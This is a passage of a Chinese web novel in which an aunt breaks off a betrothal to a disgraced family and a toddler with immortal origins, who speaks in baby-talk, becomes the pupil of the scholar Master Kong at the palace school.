邹氏却没看她,目光扫过满院狼藉,扫过跪在地上的许振山,扫过灰头土脸的老太太,最后落在许呦呦身上。
这个粉雕玉琢的小娃娃,一身大红锦袍,颈上戴着赤金项圈,白白嫩嫩,跟这破败的许府格格不入。
邹氏心里瞬间明了。
她原本想着,姐姐和侄女病重,她带儿子前来探望。
正好儿子中了举人,让许振山这个在朝为官的表哥帮忙活动活动,也能谋个好前程。
而且听说许振山的正妻杨氏是江南首富之女,生意做得如火如荼。
若是攀上这门亲,他们家的铺子就能迁到京城,一举多得。
所以她特意带了厚礼,兴冲冲地来了。
可这一路走来,都不用打听,关于许振山的闲言碎语,简直比说书还要精彩,传遍了京都城的大街小巷……
“许府?啧啧,那就是个笑话!”
“好好的探花郎,宠妾灭妻,把正妻逼走了,如今遭报应了吧!”
“听说那正妻是江南首富的女儿,带着金山银山嫁进来,结果呢?被那小妾挤兑得差点活不下去!”
“何止啊!那小妾生的女儿,才三岁,就敢把嫡女推下假山!推完还嚣张的笑呢!”
“嫡女才一岁半啊!还被人扔进枯井里,差点冻死!”
“这事在京城都传遍了,也就是许振山那个蠢货,还以为自己占着理!”
“他还敢去杨府闹?结果被人家当众打脸,杨氏把账本一亮——三年被他花了八万六千两!”
“八万六千两啊!全是他花的!”
“就这样,他还把人往死里欺负?活该被贬官!”
“再瞧瞧他现在过的日子,整日破衣破衫,还被人打得鼻青脸肿。”
“报应!真是报应啊!”
邹氏越听心越凉,越听越怀疑自己这一趟来的到底值不值。
于是她今日一早,便打算上门瞧个究竟。
没想到,清清楚楚见证了许振山被人堵门要债的惨样。
邹氏的心,一瞬间沉到谷底。
什么礼部侍郎郎?被贬得只剩个空架子!
什么首富之女?人家早带着御赐之物走了!
什么许家门楣?破败得连要债的都嫌弃穷酸!
她这是把儿子往火坑里推啊!
如今再看这满院狼藉,再看许振山那副窝囊相……
她只觉得自己蠢透了。
她看向许清烟。
那个曾经清秀可人的外甥女,如今瘦得皮包骨头,脸色蜡黄,眼窝深陷,毫无生机。
再想到方才进门时看见的那一幕……
许振山要绑自己亲闺女,老太太在一旁帮腔,那孩子才一岁半啊!
这样的人家,怎配与她儿子结亲?
“姨母!”许清烟踉跄着扑过来,一把抓住邹氏的手,“姨母您终于来了!您不知道我这些日子过得多苦……”
她瘦骨嶙峋的手冰凉刺骨,指甲缝里还带着药渣。
邹氏嫌恶地抽回自己的手。
“表哥!”许清烟又看向刘庆彦,眼中满是希冀的光,“你是来看我的对不对?我就知道,我就知道你不会不管我……”
刘庆彦更是嫌恶地往后退了一步。
他看着眼前这个形销骨立、脸色蜡黄、眼窝深陷、眼神疯癫的女人,哪里还有半分当初那个清秀灵动的样子?
刘庆彦心里泛起一阵强烈的恶心。
他当初怎么就瞎了眼。
邹氏赶紧挡在儿子面前,深吸一口气,从袖中掏出两张红纸。
“姐姐,”她看向许老太太,声音平静得没有一丝波澜,“今日我来,是有一事。”
许老太太一愣,心中忐忑不安,又强装镇定,想要上前亲昵地拉住她:“妹妹,你我姐妹好久未见了……”
邹氏冷漠地躲开,将那两张庚帖往她面前一递:“这是烟儿与我儿的定亲庚帖,今日原物奉还。”
“从今往后,你我两家,婚约作废。”
什么?
许老太太如遭雷击,整个人晃了晃。
“妹妹,你……你说什么?”
第一卷 第41章 这腿……断了
“我说,”邹氏一字一句,“这门亲事,我们高攀不起。”
许清烟的脸瞬间惨白如纸,踉跄着扑过来:“姨母!姨母您不能这样!我和表哥是定了亲的!我是您亲自挑选的儿媳啊!”
她伸手要去抓邹氏的衣袖,却被邹氏侧身避开。
“未来的儿媳?”邹氏冷笑,“你看看你现在这副样子,如何配做我刘家的儿媳?”
许清烟浑身一颤。
“还有你们许家做的那些事,”邹氏目光扫过满院狼藉,扫过还趴在地上的许振山,满脸嫌恶,“宠妾灭妻,残害嫡女,逼走正室,嗜赌成性……”
“这样的门风,我是疯了,才要把儿子往这火坑里推?”
“姨母……”许清烟的眼泪大颗大颗往下掉,“不是这样的……您听我解释……”
“表哥……”她看向刘庆彦,眼中满是哀求,“表哥你说话啊……你说此生只喜欢我一人……你说过只会娶我的……”
刘庆彦别过脸去。
那眼神里的厌恶,比任何言语都伤人。
许清烟双腿一软,瘫坐在地。
“住嘴!”邹氏打断她,“许轻烟,方才那一幕我看得清清楚楚。你大哥要绑自己亲闺女,你却在一旁怂恿,那孩子才一岁半!”
“你……你们许家,还有没有半点人性?”
许清烟嘴唇哆嗦着,一个字也说不出来。
许老太太终于反应过来,颤颤巍巍上前:“妹妹!妹妹你可不能这样!烟儿可是你亲外甥女啊!”
“当初这门亲事,可是你求着我的!”
“我当初,是瞎了眼!”邹氏毫不留情。
“姐姐,我敬你是姐姐,今日才亲自来一趟。若是换个人家,我直接让人把庚帖送回来就是了,连面都不会露!”
许老太太脸色涨红,又羞又怒:“你……你……”
邹氏冷笑,“姐姐,你看看,你们许家如今这副烂摊子,还好意思攀扯我儿?”
“我儿是新科举人,前程似锦。娶了许轻烟,能得到什么?”
“是好赌的哥,搅事的娘,病秧子的她,一屁股的债,还有一堆仇家吗?”
许老太太面色铁青,却无话可说。
许清烟扑通一声跪在地上,死死抱住邹氏的腿。
“姨母!姨母我求你了!你别退亲!我会好起来的!我会养好病的!求你了姨母……”
她哭得撕心裂肺,眼泪鼻涕糊了一脸。
邹氏低头看她。
瘦骨嶙峋的手,青筋暴起,死死抓着自己的裙摆。
那张脸,枯黄、狰狞、泪水混着鼻涕,丑陋得令人作呕。
邹氏心里涌起一阵强烈的厌恶。
“放手!”她冷冷道。
“姨母……”
“我让你放手!”
邹氏一把甩开她,许清烟被甩地趴在地上,额头磕在碎瓷片上,渗出血来。
可她顾不上疼,又爬着要去抓刘庆彦的衣角。
刘庆彦往后退了一步,满脸嫌恶,生怕被她沾上。
邹氏从袖中掏出一小袋碎银,随手扔在地上。
“这些银子,算是我的一点心意。”她居高临下地看着,趴在地上的许清烟,“往后,你我两家,再无干系。”
“拿着这银子,好好治病吧。”
说完,她转身,一把拉起刘庆彦:“走!”
“姨母!!!”
“求求您了,您不能这样对我啊……”
许清烟凄厉的哭喊声在院子里回荡。
可那两道身影,头也不回地消失在门口。
许清烟趴在地上,双手死死抓着地,甚至指甲断裂,鲜血淋漓。
“不……不是这样的……”
她喃喃着,眼神渐渐涣散。
“噗——”
一口鲜血喷薄而出,许轻烟眼前一黑,晕了过去……
“烟儿……我苦命的孩子啊……”老太太踉跄地冲上前,满眼心疼,颤巍巍地想去抱起地上的女儿。
许振山面色灰败,忍着疼痛,艰难起身,想去将妹妹抱回房。
可是,却发现一条腿不听使唤,它以诡异的角度弯曲着,疼得他冷汗直冒。
这腿……断了!!
他艰难地抬起头,目光落在许呦呦身上。
“呦……呦呦……”许振山艰难地开口,努力挤出一个慈父的笑容,却因为脸上的伤和淤青,显得格外狰狞。
“爹爹……爹爹的腿断了……嘶……你能不能帮帮爹爹……”
他伸出一只手,颤抖地召唤着许呦呦。
“你是爹爹的亲骨肉啊……嘶……咱们……咱们是骨肉至亲……嘶……你不能不管爹爹……”
许呦呦叉着小腰,正要开口——
“呦呦。”
一道清冷的女声从门口传来。
杨婉云一身绛紫妆花缎褙子,衣襟袖口以金线绣着缠枝牡丹,在日光下流光溢彩。
乌发挽成高髻,赤金累丝嵌红宝石的头面衬得她面若芙蓉,眉如远黛,朱唇一点,明艳不可方物。
她缓步走来,裙裾曳地,步步生莲,通身高贵典雅的气度与这满院狼藉格格不入。
仿佛那天上仙子误入泥淖,连这破败的许府都因她的到来而清明了几分。
许振山愣住了。
随即,眼神慢慢变得炙热。
痴痴地看着她,一眨不眨。
她……竟比从前更好看了。
不,不是从前。
是比任何时候都好看。
那身朱红锦缎,在阳光下泛着耀眼的光,衬得她肌肤胜雪。
眉眼间再没有了从前的隐忍和委屈,取而代之的是一种他从没见过的从容和疏离。
像一朵高高在上的云,他够都够不着。
许振山心里涌起一阵剧烈的后悔。
如果……如果当初他没有……
“凉!”许呦呦开心地张开小胳膊,被杨婉云弯腰抱进怀里。
杨婉云低头亲了亲女儿的小脸,全程没有看许振山一眼。
“凉,泥肿么来啦?”许呦呦搂着她的脖子,“戏,还米完呢!”
“结束了,”杨婉云声音淡淡的,“该回家了。”
她转身就要走。
“婉云!”许振山猛地喊出声,顾不上腿上的剧痛,朝她的方向爬了半步,“婉云你……你别走……”
杨婉云脚步顿住。
她回过头,终于看了他一眼。
那眼神,厌恶得像在看一堆垃圾。
许振山心里一颤。
“婉云……”他艰难地开口,“我……我知道错了……你……你能不能……”
“不能!!”杨婉云打断他,声音果断又冷厉。
第一卷 第42章 所以,爱似会消屎的
许振山一愣。
杨婉云随即唇角勾起一抹嘲讽的微笑,“你不是有骨肉至亲吗?”
“你捧在手心里疼了三年的骨肉,去找她们啊。”
“我的女儿,”她低头看了一眼怀里的女儿,“她才不稀罕你这份骨肉至亲。”
许振山脸色涨红,僵在原地。
骨肉至亲……
他猛地想起什么,撕心裂肺地喊起来:
“莲茵……莲茵……莲茵……”
没人应。
“娇娇……娇娇……娇娇……”
还是没人应。
……
喊到最后,彻底发不出声了。
回应他的,只有风吹过枯叶的沙沙声。
许振山难以置信地看着通往后院的拱门……
不可能的!
莲茵不可能抛弃他的!
他把一切都给了她呀……
他的眼神,从满怀期待,到慢慢失望,再到慢慢绝望……
许呦呦趴在杨婉云肩上,回头看了他一眼。
小嘴一咧,奶声奶气地飘来一句:
“泥滴好大鹅,跟窝一样……”
“带着凉亲,换爹去喽!”
许振山瞳孔骤缩。
“泥滴报应……”
“在后头呢!
稚声稚气,却像一把刀子,狠狠扎进他心里。
许振山张着嘴,却发不出任何声音。
他就那样绝望地瘫坐在碎瓷片上,看着那两道身影消失在门口。
一滴泪,混着脸上的血,无声滑落。
风吹过,卷起几片枯叶,落在他的肩头。
像是某种无声的嘲弄。
杨婉云抱着呦呦走出许府,并未回去。
而是顺着热闹的长宁街慢慢走着。
许呦呦开心地在娘亲怀里,东看看,西瞅瞅。
路过糖人摊的时候,杨婉云忽然停下了脚步。
“老板,来一个糖人。”
许呦呦眼睛瞬间瞪得溜圆,小嘴张成O型。
“凉……凉亲?”
她不敢置信地看着自家娘亲,那眼神,比见到金矿还要震惊。
“这个胖乎乎的小糖人,跟我们呦呦一样可爱,来,吃吧!”
杨婉云一脸慈爱地将糖人递到她面前。
许呦呦小手颤抖着接过糖人,感动得热泪盈眶。
“凉亲……泥……泥今天,肿么对窝介么好?”
杨婉云好笑地挑眉:“娘哪天对你不好?”
“天天都好!”小家伙赶紧拍马屁,美滋滋地舔了一口糖人,“但阔扒阔以,天天给我买糖银!”
杨婉云:o_o....
“凉今天,好爱窝,窝也好爱凉!!”
许呦呦眼睛眯成两道月牙,小舌头一下一下舔着糖人,小脸上写满了幸福。
杨婉云看着闺女这副小模样,心里软得一塌糊涂。
同时,又涌起一阵复杂的情绪。
这孩子……
自打从那口枯井里被救回来,就完全变了。
不再是以前那个怯生生、见人就躲的小可怜。
她敢叉腰骂天、能祛霉运、能治蛊毒、甚至敢半夜去抽陈王……
她的呦呦,注定不平凡!!
而她只是一个普通的母亲,一个曾经被爱情冲昏头脑、如今清醒过来的商贾之女。
她能教得了她什么?
或许,呦呦需要的是更特别的教育……
于是,她前几日,便进了一趟宫。
没想到,当她向皇后提及心中的忧虑时。
话才说了一半,皇后便笑盈盈地握住了她的手。
“婉云,你想到的,本宫和陛下早就想到了。”
皇后领着她去了国子监后的一处清幽院落——一座簇新的幼儿学堂已然落成,窗明几净,书墨飘香。
“这是陛下亲自督建的,”皇后轻声道,“那日,呦呦剿匪回来后,他便让工部,开始修建幼儿学堂,还说要给呦呦请这天下最好的夫子。”
天下最好的夫子?
那不就是名冠天下的孔大儒嘛?
杨婉云的心又沉了下去。
这孔大儒,可是三朝元老、天下文人的泰山北斗,早已闭关多年,多少人求见都不得其门。
没想到皇后却笑了:“旁人请不动,有一个人却可以。”
“谁?”
“本宫弟弟,顾振宇。”
原来八年前,孔大儒游历途中遭遇山匪,恰逢顾振宇率军经过,拼死救下了他。
那一命之恩,孔大儒一直记在心里。
顾振宇得知此事后,二话不说便去了孔大儒隐居的山野。
三日后,他就能带着孔大儒回京了!
而今日,就是孔大儒回来的日子。
“呦呦,”杨婉云忽然开口,“今日,娘带你进宫。”
许呦呦头都没抬,嘴边还沾着糖渍:“进宫?找皇伯伯玩吗?”
“不是。”杨婉云拿帕子给她擦擦嘴,“是去拜师。”
“拜师?”小家伙眨巴眼,“拜虾米师?”
小家伙一听,脑壳瞬间懵了,手里的糖人攥的紧紧的。
是……她想的辣种拜师吗?
杨婉云深吸一口气,努力让自己的声音听起来平静:
“你皇伯伯在国子监里,给你建了一座幼儿学堂。”
许呦呦:(【表情】o【表情】)?
“你将军爹爹,亲自出马,给你请了一位老师。”
许呦呦:【表情】【表情】【表情】
“你娘我,”杨婉云顿了顿,“捐了两万两银子给学堂。”
许呦呦:!!!!
好家伙!
泥们……就康不得窝好过,似趴??
小家伙瞬间炸了,头上的两个小揪揪,直愣愣、笔挺挺地直冲上天……
“凉……所以,爱,似会消屎滴,似嘛?”
杨婉云看着她这副生无可恋的样子,憋的肩膀都在抖动。
“乖闺女,学堂有了,夫子有了,钱也出了——万事具备了,现在就差你这个小东风吹过去了。”
许呦呦恶狠狠地咬着糖人,小脸皱成一团,心里疯狂地咒骂天上那群老东西。
狗东西!
在天上滴似候,就不做银!
天天换着花样,骗她去上学!
还有文曲星君那个老顽固,一上课就跟念经似的,她一听就困,一困就倒,一倒就打呼噜。
一打呼噜,就引雷劫。
为此,文曲星君的宫殿,已经换了三个了!
就这样,那帮狗东西,竟然还不放过她……
到了凡间,还有学堂,还有夫子,还有拜师!
总有刁民想害窝!!
许呦呦狠狠咬了一口糖人,“咔嚓”一声,糖人的脑袋没了。
再咬一口,“咔嚓”,胳膊断了。
接着,咔嚓咔嚓咔嚓……
杨婉云无视她蓬勃的怒火,直接将她拎了起来。
“凉亲,”许呦呦垂死挣扎,“窝阔不阔以……”
“不可以!!”
“窝还米嗦完……”
“不可以!!”
许呦呦:……
这日子,没法过了!!
第一卷 第43章 介福气给泥,泥要扒要?
很快。
马车便到达了宫门口。
许呦呦趴在车窗上,小嘴撅得能挂两油瓶。
而宫门口,一道熟悉的身影映入眼帘。
顾振宇正翘首以盼,脖子伸得老长老长,踮起脚尖,眼巴巴地朝这边张望。
看见马车停下,他眼睛瞬间亮了,三步并作两步冲过来。
“婉云!呦呦!”
他满脸堆笑,伸手就要去抱许呦呦。
“哎哟我的乖闺女,可想死爹爹了……”
话没说完,许呦呦圆乎乎的小身子一扭,躲开了他的怀抱。
顾振宇的手僵在半空。
“闺女?宝宝?”
许呦呦白了他一眼,那小眼神,又凶又嫌弃。
“就似泥,”她小手一指,气鼓鼓地质问,“给窝找滴夫子?”
顾振宇愣住了。
随即,又一脸骄傲地拍了拍自己的胸脯,笑的格外嘚瑟,“对啊,是爹爹找的……厉害吧?”
“把天下最厉害的夫子,给我闺女找来了!”
这下。
小家伙彻底炸毛了……
她叉着小腰,小胸脯一起一伏。
“窝好好滴次糖银,泥非要给窝找个夫子!”
“泥,似扒似跟窝有仇,就见不得窝好过?”
顾振宇被怼得一愣一愣的。
他挠挠头,一脸无辜地看向杨婉云。
杨婉云别过脸,肩膀却忍不住在抖。
顾振宇更懵了。
他蹲下身,试图跟闺女讲道理。
“闺女啊,你听爹爹说,孔大儒可是天下最好的夫子,你跟着他念书,也……也是你的福气啊!”
“介福气,”她小手叉腰,气鼓鼓地瞪着顾振宇,“给泥,泥要扒要?”
顾振宇:(【表情】o【表情】)?
顾振宇哭笑不得:“闺女,这福气爹爹消受不起啊……”
“那窝就消受得起?”
许呦呦继续气鼓鼓地瞪着他……
顾振宇被瞪得心里发虚,可怜巴巴地看向杨婉云。
“婉云,你帮我说句话啊……”
杨婉云淡淡地看了他一眼。
“这福气,你要是好好接了,娘每月给你十两月银。”
许呦呦气鼓鼓的小嘴,瞬间咧开了,“要要要,凉啊,介福气,真似为窝量身定制呀,太似合窝啦!”
然后。
“走!!拜师去趴!!”
小家伙主动牵起杨婉云的手,步履鉴定地往皇宫里走。
顾振宇:(【表情】o【表情】)
原来,钱,才是最简单粗暴的道理啊!!
杨婉云拉着许呦呦穿过宫门,刚走几步,就听见前方传来一阵杀猪般的嚎叫。
“爹!!!放我下来!我不要进学堂!”
只见威武将军一手拎着个三四岁的小男孩。
那小男孩两条小短腿在空中扑腾得跟风火轮似的,小身子拼命扭动,试图挣脱魔爪。
“放你下来?”威武将军冷笑一声,“老子用军功换来的名额,你说不进就不进?”
“不进不进,就不进!”小男孩嚎得撕心裂肺,“我要回家!我要找娘!我要吃糖!”
“啪!”
威武将军一巴掌拍在他屁股上,响声清脆。
许呦呦缩了缩脖子,摸了摸自己的屁股。
嘶!看着都疼!
小男孩愣了一秒,嚎得更凶了:“爹,你打我!你又打我!我回去就告诉娘!你打你亲儿子!”
“打你怎么了?”威武将军横眉冷对,“老子当年在战场上,一刀一个敌人,眉头都不皱一下。收拾你个小兔崽子,还不是就跟捏小鸡一样……”
“我不是小兔崽子!我是你崽子!”
“那你倒是干点儿子该干的事啊!”威武将军把他放下来,指着他的鼻子,“老子十五岁就上战场了!你呢?三岁半了,连《三字经》都背不下来!”
小男孩理直气壮:“你这个老子十五岁上战场,我这个小老子才三岁半,怎么上战场?”
威武将军噎的脸色涨红。
小男孩趁机挣脱,撒腿就跑。
威武将军长臂一伸,又把他拎了回来。
“跑?看我不打死你?”
小男孩绝望地蹬腿:“救命啊!!!有人欺负小孩啊!!!”
许呦呦默默抱着娘亲大腿。
看来,凉还似爱窝滴,凉还似很温柔滴!
这时,一道温柔的声音从身后传来。
“轩儿,慢点儿走,小心摔着,要不……爹爹抱着你吧?”
杨婉云回头,只见一对衣着华贵的夫妇正朝这边走来。
男子身着玄色亲王常服,面容俊朗,眉宇间却带着几分化不开的愁绪。
女子一身藕荷色宫装,温婉端庄,只是眼眶微红,像是刚哭过。
他们身边跟着个小男孩,约莫三岁左右,生得粉雕玉琢,眉眼精致得像画里的小仙童。
只是……
那孩子的眼神,空洞洞的,直愣愣地盯着前方,对周围的热闹毫无反应。
“轩儿?”王妃蹲下身,轻轻拉住他的小手,“娘跟你说话呢,你听见了吗?”
小男孩依旧呆呆的,没有任何回应。
王爷叹了口气,弯腰把孩子抱起来,轻声道:“走吧,别耽误了时辰。”
王妃站起身,拿帕子擦了擦眼角,跟着往前走。
杨婉云心里一紧。
这时,顾振宇在一旁,低声解释道:“那是淮南王世子的独子谢怀轩,淮南王妃当年九死一生才生下他,本是极机灵的孩子,可两岁那年不知怎的,突然就……就有些不大灵光了。”
“有时呆呆的,半晌没反应;有时又好好的,跟寻常孩子一样。”
“太医看了无数,谁也说不清是什么毛病。”
顾振宇感慨道:“王妃与皇后是手帕交,求了许久,才求来这个进学堂的名额。说是孔大儒学识通天地,或许……或许能有办法。”
杨婉云听完,心头沉甸甸的。
她低头看向怀里的许呦呦。
却发现小家伙正盯着那个叫谢怀文的孩子,小眉头紧紧皱成一团。
那眼神,却出乎的……严肃。
杨婉云心里一跳。
“呦呦?”
许呦呦没应声,依旧盯着那个孩子,小嘴抿得紧紧的。
就在这时,谢怀文忽然转过头来。
那双空洞的眼睛,直直地对上了许呦呦的目光。
然后。
他歪了歪头,忽然咧嘴笑了,轻轻喊了一声,“妹妹。”
第一卷 第44章 你,不用跪了
王妃身子一颤,眼眶瞬间红了。
“轩儿?你……你说话了?”
她蹲下身,颤抖着握住儿子的小手,眼泪扑簌簌往下掉。
这孩子,至今,除了偶尔喊声爹娘以外,从未叫过任何人。
方才,却叫了妹妹……
可转瞬间。
谢怀文已经又转过头去,恢复了一脸呆滞,仿佛刚才那声“妹妹”只是幻觉。
王妃愣了愣,勉强挤出一个笑容,朝杨婉云点点头,便抱着儿子匆匆往前走了。
国子监,幼儿学堂。
堂内陈设清雅,窗明几净。
一张矮案后,坐着一位须发皆白的老者。
他身着素色长袍,面容清瘦,眉宇间透着儒雅,此刻正拿着书卷,悠悠然地品读着。
正是孔大儒。
天下读书人的泰山北斗。
堂下,几个小娃娃站成一排。
威武将军踹一脚儿子的屁股:“站好了!一会儿给老子好好拜师!”
朱静言揉揉屁股,眼睛却滴溜溜乱转,四处打量。
淮南王夫妇抱着谢怀轩,站在一旁,那孩子依旧呆呆的,眼神空洞。
杨婉云牵着许呦呦,轻声道:“你的月银,全在这一念之间哦!”
许呦呦赶紧乖巧地点点头,一抬头——
“窝——槽——!!!”
小家伙眼珠子差点瞪出来。
尼玛!!!
这不就是文曲星君那个老顽固吗!!!
真似冤家路窄,阴魂不散啊!!
许呦呦脑子里,瞬间闪过无数画面:
“呦呦啊,今日偷一时之懒,他日便多一分艰难。学问如登山,不进则退,切莫等到白首方悔读书迟……”
“呦呦啊,求学之道,不在天资,而在恒心。一日不读书,心无所得;三日不读书,言语无味。为师只盼你,日日精进,不负韶华……”
“呦呦啊,莫嫌为师唠叨,只恐你年少轻狂,误入歧途。今日严管,是为明日少走弯路;今日苦读,是为将来顶天立地……”
文曲星君在上面苦口婆心,她在下面摇摇晃晃,一头栽在案上,此起彼伏,又节奏满满的震天呼噜声,引来雷劫,就这么把宫殿……劈成两半……
许呦呦深吸一口气,眼睛瞪得溜圆,小脸绷得紧紧的。
孔大儒睁开眼,目光缓缓扫过堂下几个小娃娃。
朱静言——虎头虎脑,一看就是个皮猴子。
谢怀轩——目光呆滞,神情木讷,眉宇间似有郁结之气。
最后,他的目光落在许呦呦身上。
这个粉粉糯糯的小团子,扎着两个小揪揪,穿着一身大红锦袍,白白嫩嫩,活脱脱的年画娃娃。
此刻正瞪着一双圆溜溜的大眼睛,一脸震惊地盯着他。
孔大儒愣了愣,许是孩子小,对他这个白发花须的老头,好奇罢了,倒也没当回事。
这时,顾振宇笑着上前:“这位就是孔大儒。按照规矩,拜师需行跪拜大礼,磕三个头,敬一杯茶,便算是正式的徒弟了。”
跪?
磕头?
那阔真似太好啦!!
许呦呦眼睛瞬间亮了。
“爹爹,窝乃,窝先乃……”小家伙自告奋勇,往前一步,生怕别人跟她抢似的。
好好好!
跪似吧!
看窝跪不似泥!
许呦呦越想越美,小嘴咧得老开,一蹦一跳就朝孔大儒跑去。
孔大儒笑眯眯地看着这个小团子,心都要化了。
这小模样,这小眼神,这小身板……
这不就是他孔家几代人梦寐以求的女儿吗!
一百年了!
他孔家上上下下几百口人,生的全是清一色带把的!
每个孔家人做梦都想有个孙女儿,白白嫩嫩、软软糯糯、会撒娇,会卖萌……
可老天爷就跟他们孔家杠上了——一个女娃都不给!
此刻,他第一次不后悔出山来当这个幼儿学院的夫子了。
“顾将军,你可真是好福气啊,能有这么好的女儿……”
许呦呦点点头,跟着开口:“似吧,哪像泥,米有女鹅,泥鹅子也米有,泥孙子也米有,你孙子的孙子的孙子……更米有!!”
“泥家,就米辣个命!”
全场死寂。
杨婉云眼前一黑,差点当场晕过去。
她一把冲上去捂住许呦呦的嘴:“孔夫子恕罪!小孩子不懂事,胡说八道……”
孔大儒却忽然笑了。
他摆摆手,笑得无奈又慈祥:“无妨,无妨。童言无忌,再说了,老夫确实没有女儿命。”
他低头看向许呦呦,目光温柔得能滴出水来。
罢了罢了,一日为师终身为父。
这不,捡现成的多好啊!
“好孩子,”他轻声道,“你过来,给为师敬杯茶就行,不用跪了。”
许呦呦眼睛瞪得溜圆:“纳……尼?”
“扒……跪了?”
孔大儒看看她那双小短腿,再看看地上冷冰冰的青砖,心疼道:“地上凉,你这小身板,跪坏了怎么办?”
许呦呦:(【表情】o【表情】)???
心里瞬间涌起一万匹草泥马。
那她绞尽脑汁想的一百种跪法,算什么?
顾振宇一听,心里乐开了花,赶紧将水杯端过去,刚放进呦呦手里,孔大儒立刻主动上前端了起来,毫不迟疑,一饮而尽。
许呦呦:o_o....
这师,窝也不似非拜不可啊!!
朱静言在一旁急了:“夫子夫子!到我了,我也来。”
孔大儒瞥他一眼:“你跪。”
顾虎头:(【表情】o【表情】)?
“凭啥她不跪,我要跪?”
“因为你是小子。”孔大儒理直气壮,“小子皮实,跪不坏。”
一旁的威武将军听罢,当即就是一脚,朱静言稳稳跪倒在地。
“快点,给夫子磕头!”
朱静言耷拉着脑袋,老老实实弯下腰,“咚咚咚”磕了三个响头……
许呦呦在一旁看得津津有味,小嘴咧得老开。
该!让你刚才嚎得那么大声!
谢怀轩被王妃抱着,依旧呆呆的,没有任何反应。
孔大儒看向他,目光微凝。
这孩子……
他轻轻叹了口气,对淮南王妃道:“把孩子放下吧,让他站着就好。”
淮南王妃眼眶一红,想说些什么。
最终还是点点头,把儿子轻轻放在地上。
谢怀轩站在那里,目光空洞,一动不动。
淮南王端着茶杯,递给孔大儒。
孔大儒接过茶,神色淡然地喝了一口。
第一卷 第45章 以后,有窝罩着他
孔大儒放下茶盏,目光扫过堂下几个小娃娃。
最后落在许呦呦那张粉嫩圆胖的小脸上,忍不住弯了弯嘴角。
“幼儿学堂,三日后正式开学。”他捋着胡子,笑的一脸慈祥,“届时,卯时三刻,准时到堂。”
许呦呦的小脸瞬间垮了。
什么?
卯时三刻?
辣似银起床的点吗?
啊啊啊啊,辣似鸡起床的点啊!!!
她幽怨地看向杨婉云,杨婉云回以一个温柔的笑容——和一根竖起的手指。
算了算了。
别银滴气,窝扒能受。
唯独,钱钱滴气窝能受!
辣阔是十两月银!!
许呦呦深吸一口气,赶紧笑眯眯地满口答应。
众人纷纷致谢,拜师礼毕,三三两两散去。
威武将军一边跟大家告辞,一边拎着朱静言的耳朵往外走,那小子哇哇乱叫:“爹!轻点!耳朵要掉了!”
“掉了才好!省得你天天惹老子生气!”
淮南王妃抱着谢怀轩,却没有急着离开。
她看着许呦呦,犹豫片刻,终于上前一步,轻轻拉住小家伙的手。
“呦呦,”她蹲下身,面色温婉,“好孩子,能不能让轩儿跟你一起走?”
许呦呦走上前,主动拉起谢怀轩的手。
两只小手交握的瞬间。
那双空洞的眼睛里,忽然有了光。
“妹妹。”他咧嘴笑了,笑得天真烂漫,“妹妹!”
他反手握住许呦呦的手,握得紧紧的,像是抓住了什么珍贵的宝贝。
“妹妹!妹妹!妹妹!”
一声接一声,叫得又脆又亮。
淮南王妃愣住了。
眼泪瞬间夺眶而出。
难怪那日,她求皇后让轩儿入学堂时,皇后无意中说,让轩儿多和呦呦待待,说不定会有意外之喜。
她当时只当是安慰。
可现在……
淮南王妃一把抱住呦呦,心里升腾起了巨大的希望。
“轩儿乖,以后和呦呦妹妹一起上学,好不好?”
谢怀轩依旧拉着许呦呦的手,咧嘴笑:“好,妹妹!”
她站起身,依依不舍地看着许呦呦,拉着她的手轻声道:“好孩子,以后轩儿就拜托你了,姨姨定会涌泉相报……”
一听涌泉,小家伙眼冒星光,“放心放心,以后,有窝罩着他!”
与淮南王妃告别后,杨婉云刚抱起呦呦准备出宫,皇后身边的嬷嬷匆匆跑来。
“杨夫人留步!皇后娘娘请您和呦呦小姐前往凤仪宫一聚。”
杨婉云点头,抱着呦呦往凤仪宫方向走去。
一行人,脚步轻快地穿过御花园。
此时阳光正好,暖融融地洒在身上。
御花园里春意正浓,红的粉的黄的腊梅花,争相开放,热闹极了。
许呦呦拉着杨婉云:“凉亲凉亲!辣个花,好好康!”
是一株开得正盛的红梅,花瓣层层叠叠,在阳光下泛着晶莹的光。
“想带给皇伯母?”杨婉云笑着点了点她的小鼻头。
“嗯嗯!”小家伙连连点头,“皇伯母对窝阔好咧,窝也要对她好!”
杨婉云心里一暖,对冬梅道:“去摘几枝吧,仔细些。”
冬梅应声上前,选了几枝开得最好的红梅,小心折下。
许呦呦捧着一枝梅花,凑到鼻尖闻了闻,小脸笑成一团:“香!”
就在这时。
一道鹅黄色的身影从花径拐角处转了出来,脚步匆匆,像一道风……
“哎哟!”
许呦呦手里的梅花被撞落在地,花瓣四处散落开来。
杨婉云眉头微蹙,抬头看去。
眼前是一个十六七岁的女子,身着鹅黄色宫装,头戴赤金步摇,面容明艳,只是眉眼间带着三分傲气、七分冷意。
身后跟着十来个宫女太监,声势很足。
这是当朝大公主。
皇帝还是太子时,李贵妃在东宫所出,陛下的长女。
杨婉云连忙放下呦呦,屈膝行礼:“臣妇参见大公主。”
半晌。
大公主都没有叫起。
她就那么站着,居高临下地看着杨婉云。
那目光,像是在看一件物件,从头到脚,一寸一寸地打量。
杨婉云垂眸,保持着行礼的姿势,一动不动。
大公主眯起眼,仔细打量着眼前这个女人。
月白色褙子,素净得过分,发髻上只簪着一支白玉兰花簪,通身上下没有几件首饰。
可偏偏就是这样的素净,反倒衬得那张脸格外清丽。
眉眼温婉,肌肤胜雪,站在那里,像一株空谷幽兰。
大公主心里顿时火气攻心,指甲微微掐进掌心。
她想起那日,在将军府后花园。
她本是去寻顾老夫人的,却无意间撞见了那一幕。
那个素来冷硬的男人,站在亭外三丈远的地方,手足无措得像情窦初开的少年。
“我喜欢你,从四年前就喜欢。”
“若是你不愿和离,我便在角落里默默守护你。”
“若是你想要和离,那我余生,更不会放手。”
那声音,低沉,沙哑,带着她从未听过的温柔。
大公主躲在假山后,气得浑身发抖……
她等了他三年啊!
三年里,她想过无数办法接近他。
御花园“偶遇”,她走了几十遍;
他回京述职,她求父皇让她陪同接见;
甚至托人去打听他的喜好,知道他喜欢骑射,她硬着头皮学了半年马术,摔得浑身是伤。
可他呢?
却视而不见。
每次见面,都恭恭敬敬行礼,客气疏离。
然后目不斜视地离开,连多余的眼神都不给。
她以为他只是不近女色。
她以为只要她等下去,总有一天他会看见她的好。
可那天她才知道……
他不是不近女色。
他只是心里有人了。
而且爱得那么深沉热烈……
大公主死死盯着杨婉云,目光冷得像淬了冰。
这个女人,凭什么?
她不过是低贱的商户出身。
还嫁过人,生过孩子,如今还住在娘家,甚至都未和离。
